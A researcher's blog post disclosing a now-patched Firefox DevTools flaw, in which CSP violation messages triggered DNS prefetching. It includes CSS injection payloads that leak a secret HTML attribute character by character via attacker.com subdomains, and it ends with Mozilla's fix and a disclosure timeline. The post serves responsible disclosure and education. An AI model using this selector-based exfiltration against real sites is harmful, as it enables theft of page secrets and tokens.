DevTools leak information about CSP violations

2024-06-30 by Yannik Marchand

This post describes a minor vulnerability in Firefox, that Aidan Stephenson and I discovered while playing DiceCTF. In short, an attacker that had access to an HTML injection vulnerability could leak secrets from this page if the victim had the DevTools open, even with a strict content security in place.

Background

This section provides a quick recap of CSS selectors, cross site scripting (XSS), content security policies (CSPs) and DNS prefetching. Feel free to skip ahead if you are familiar already.

XSS

Most websites contain a lot of user-generated content. If you look at my GitHub home page, you will see that a large part of the content was generated by myself:

Although user-generated content provides a lot of value to the internet, it also opens up possibilities for attacks. If user-generated content is copied directly into the HTML text that is served by the website, without any sanitization, an attacker can inject arbitrary JavaScript into their content, which will be executed in the browser of anyone who visits the page. This is called cross site scripting. Depending on the website, cross site scripting may allow an attacker to perform authenticated requests on behalf of a victim, or steal secrets such as session cookies.

CSS selectors

Cascading Style Sheet, or CSS, is primarily used to customize the appearance of a web page. One important concept here is the CSS selector, which can be used to apply a style to a specific HTML attribute. For example in the following snippet, the color red will only be applied to the first input tag.

<style>
input[value^="a"] {
  color:red;
}
</style>
<input value=abc>
<input value=def>

This, combined with the fact that CSS can be used to load external resources, can be used to leak page contents based on its attributes, as demonstrated here.

CSP

In order to mitigate these attacks, browsers introduced a concept known as Content Security Policy, allowing developers to fine tune the permissions on their webpage. This can be used, for example, to disable Javascript or only allow Javascript run from specific URL's, greatly mitigating the impact of XSS and other browser attacks.

Specific for this blog post is the default-src directive, which is used to limit what external resources can be used. Revisiting the CSS selector case, should the CSP be set to default-src 'none'; then the following CSS

<style>
input[value^="a"] {
  --starts-with-a:url(attacker.com);
}
input{
   background: var(--starts-with-a,none);
}
</style>
<input value=abc>
<input value=def>

Will result in a CSP violation error, instead of a connection to attacker.com, preventing the data leak.

DNS prefetching

A lesser known concept within browsers is DNS prefetching. Simply put, when a link is rendered by the browser a DNS request is simultaneously done to resolve the link. This is done to skip the DNS resolution delay when/if the resource is later requested. This has been a known data exfiltration mechanism where Javascript is enabled as documented both academically and otherwise.

Vulnerability

The vulnerability that Aidan and I discovered potentially allows an attacker to leak information with HTML injection, without the use of Javascript, even when a strict content security policy is used.

Whenever a CSP violation occurs, an error is written to the console. The error includes a link to the offending resource:

This link, being an anchor tag, is then prefetched upon rendering. This allows an attacker to know when a CSP error has been triggered and which resource triggered the CSP violation.

Suppose that:

  • An attacker has found a website that is vulnerable to HTML injection.
  • The website has a content security policy that allows inline stylesheets but nothing else.
  • The website contains a secret that is stored in an HTML attribute.

As can be seen in the following snippet.

<!doctype html>
<html>
    <head>
        <meta http-equiv="Content-Security-Policy"
              content="default-src 'none'; style-src 'unsafe-inline'">
    </head>
    <body>
        <!-- Secret token -->
        <h1 data-token="pKTKMZcNQyk">Example</h1>

        <!-- The attacker can inject a payload here -->
    </body>
</html>

Then, in theory, the attacker should be unable to leak the secret. Because the content security policy does not allow any external connections the browser should not perform any external requests, nor does it allow the attacker to execute Javascript. However, if the victim had the DevTools open, the attacker could use the following payload to leak the secret:

<style>
    /* a ... o */

    h1[data-token ^= "p"] {
        /*
        This selector matches the token. The attacker sees an
        incoming DNS request for the subdomain 'p' and therefore
        knows that the secret token begins with a 'p'.
        */
        background: url("http://p.attacker.com")
    }

    h1[data-token ^= "q"] {
        /* This is ignored by the browser */
        background: url("http://q.attacker.com")
    }

    /* r ... z */
</style>

Here, the attacker uses CSS selectors to observe the secret. The browser attempts to load an image from an attacker-controlled subdomain only if the secrets starts with a specific character. Although the CSP prevents the browser from performing the request, the browser prints a CSP violation error to the console. This will trigger a DNS request for the attacker-controlled domain. By watching incoming DNS requests, the attacker can determine which subdomain triggered a CSP violation, and can therefore determine which character is at the beginning of the secret. By repeating this process with different CSS selectors, the attacker can obtain the entire secret.

Mitigation and Timeline

Mozilla fixed the vulnerability by disabling DNS prefetching in the DevTools interface. The patch is available here and was released in Firefox version 128.0.

  • 2024-02-03: We observed interesting behavior during DiceCTF.
  • 2024-02-07: We figured out that the DNS queries are triggered by DevTools.
  • 2024-02-14: We reported the vulnerability to Mozilla. The same day, Mozilla confirmed the vulnerability and started discussing a fix.
  • 2024-05-24: Mozilla pushed the patch that disables DNS prefetching in DevTools.
  • 2024-05-28: Mozilla awarded a $250 bounty.
  • 2024-07-09: Mozilla released Firefox version 128.0 and published the security advisory.